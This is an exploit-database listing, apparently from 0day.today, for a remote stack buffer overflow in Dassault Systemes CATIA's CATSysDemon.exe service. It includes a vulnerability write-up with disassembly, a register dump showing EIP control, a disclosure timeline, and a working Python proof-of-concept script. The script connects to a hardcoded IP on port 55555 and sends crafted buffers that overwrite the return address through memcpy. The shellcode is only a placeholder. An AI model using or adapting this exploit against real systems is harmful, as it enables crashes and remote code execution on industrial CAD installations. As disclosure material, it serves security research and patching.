Author

Mohamed Shetta

Risk

[

Security Risk High

]

0day-ID

0day-ID-21928

Category

dos / poc

Date add

20-02-2014

Platform

windows

'''
#Vulnerability type: Remote Code Execution
#Vulnerable file: CATSysDemon.exe
#PORT: 55558 Or 55555
 
---------------------------------------------------------------------------------------------------------
Software Description:
 
CATIA
developed by Dassault Systemes (3DS) is the world leading integrated 
suite of Computer Aided Design (CAD), Engineering (CAE) and 
Manufacturing (CAM) applications for digital product definition and 
lifecycle management. CATIA is widely used in aerospace, automotive, 
shipbuilding, energy and many other industries. CATIA Composites Design 
is a workbench in CATIA supporting composites design, engineering and 
manufacture of complex 3D composites parts containing up to thousands of
plies each. Specific developments by Dassault Systemes allow the 
transfer of the composites model and determination of anisotropic 
material properties from the constantly-chaging fiber orientations and 
ply thicknesses within realistic 3D industrial components. These varying
material properties in the component have to be used by numerical codes
such as ACEL-NDT and the FE solver based on XLIFE++ for accurate 
analyses of these parts (note that trivial composites components like 
flat panels can be analysed by the numerical codes independently).
 
 
---------------------------------------------------------------------------------------------------------
Vulnerability Details:
 
A stack buffer overflow occurs when copying a user supplied input to a stack buffer of user supplied size.
An overflow occurs when the user supplies a small size leading to overwrite the return address, However this behavior can't be exploited as another important pointers are overwritten too that affect the flow of the application causing the application to crash before reaching the RET instruction.
By exploiting memcpy, this vulnerability can be exploited and causes Remote Code Execution.
 
The vulnerable procedure starts at 004042D0.
Below is a summarize of what this procedure do.
-At 00404309 a stack memory allocation function is called with a user supplied parameter.
This function works as follows, It allocates memory in chunks of 0xF bytes and the current esp is considered a part of a current chunk. For clarification here is an example with values.
Lets say the ESP was pointing to 0018A468 just before entering the memalloc function (00404309) and a user supplied parameter of 7. The function will return ESP that points to 0018A460 this means that the function allocated 8 bytes another case with a user supplied parameter of 8 the function returns with esp that points to 0018A460 again with user supplied parameter of 9 and the function returns with esp that points to 0018A450 with 0x18 byte allocated if the user supplied parameter of value ranges from 0x9 to 0x18 the function will return the same ESP pointer as it's still in the same chunk of 0xF.
 
Concluded from this behavior, If the least significant number from ESP at EIP of 0x00404309 changed, the required number of bytes to overwrite the return address will change.This case will happens for different operating systems, Windows 7 will end with 8 and windows XP will end with 0 AS TESTED. 
 
00404314 |. B9 2A000000 MOV ECX,2A
00404319 |. 8BFB MOV EDI,EBX
0040431B |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
0040431D |. 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
00404320 |. 0FB74F 02 MOVZX ECX,WORD PTR DS:[EDI+2]
00404324 |. 51 PUSH ECX ; /NetShort
 
The procedure then copies a 0x2A*4 bytes of user supplied buffer to the allocated stack memory, Afterward it gets a pointer from the stack, and that's what made the vulnerability not exploitable without the memcpy function as if we set the stack memory allocation size for small value just to overwrite the return address we will overwrite this pointer which is just above the return address causing the application to crash.
So to solve this we will use the memcpy function to write the return address. A decent memory allocation size will be supplied which is 0x9A by that size neither of the pointer nor the return address will be overwritten.
0040432A |. 8B75 FC MOV ESI,DWORD PTR SS:[EBP-4]
Loads the size parameter for the memcpy function which was over written by the user to be just 8 to prevent further corruption for the application memory( Windows 7 case ).
Then memcpy is executed, overwriting the Return address with a user supplied one.
 
Other trivial adjustments were made so that the exploit works on Windows XP and 7. 
 
----------------------------------------------------------------------------------------------------------
Registers Dumb:
 
EAX 00000000
ECX 00000000
EDX 0018A2F8
EBX 00000000
ESP 0018A480
EBP 00000002
ESI 01000000
EDI B0000000
EIP 90909090
C 1 ES 002B 32bit 0(FFFFFFFF)
P 0 CS 0023 32bit 0(FFFFFFFF)
A 1 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 1 FS 0053 32bit FFFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0
EFL 00000293 (NO,B,NE,BE,S,PO,L,LE)
ST0 empty 0.0
ST1 empty 0.0
ST2 empty 0.0
ST3 empty 0.0
ST4 empty 0.0
ST5 empty 0.0
ST6 empty 0.0
ST7 empty 0.0
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
 
------------------------------------------------------------------------------------------------------------
Disclosure timeline:
 
12/15/2013 - Vendor notified and no response.
2/18/2014 - Public disclosure
'''
 
#!/usr/bin/env python
   
import socket
import struct
import ctypes
 
RetAdd="\x90\x90\x90\x90"
Shell="S" *1000
buff= "\x00\x01\x00\x30" + "A" * 20 + "AppToBusInitMsg" +"\x00" + "\x00" * 48 + "CATV5_Backbone_Bus" +"\x00" + "\x00"* 49 + "\x00\x00\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 55555))
#s.connect(("192.168.0.5", 55558))
s.send(struct.pack('>I',len(buff) ))
s.send(buff)
buff= "\x02\x00\x00\x00" + RetAdd*3 + "\x00\x00\x00\x00" * 13 + "\x00\x00\x00\x00" * 5 + "CATV5_AllApplications" +"\x00" + "\x00"* 43 +"\x00\x00\x98" + "\x00\x00\x00\x01" +"\x00"*4 +"\x08\x00\x00\x00" + Shell                                   
s.send(struct.pack('>I',len(buff) ))
s.send(buff)

#  0day.today [2024-11-15]  #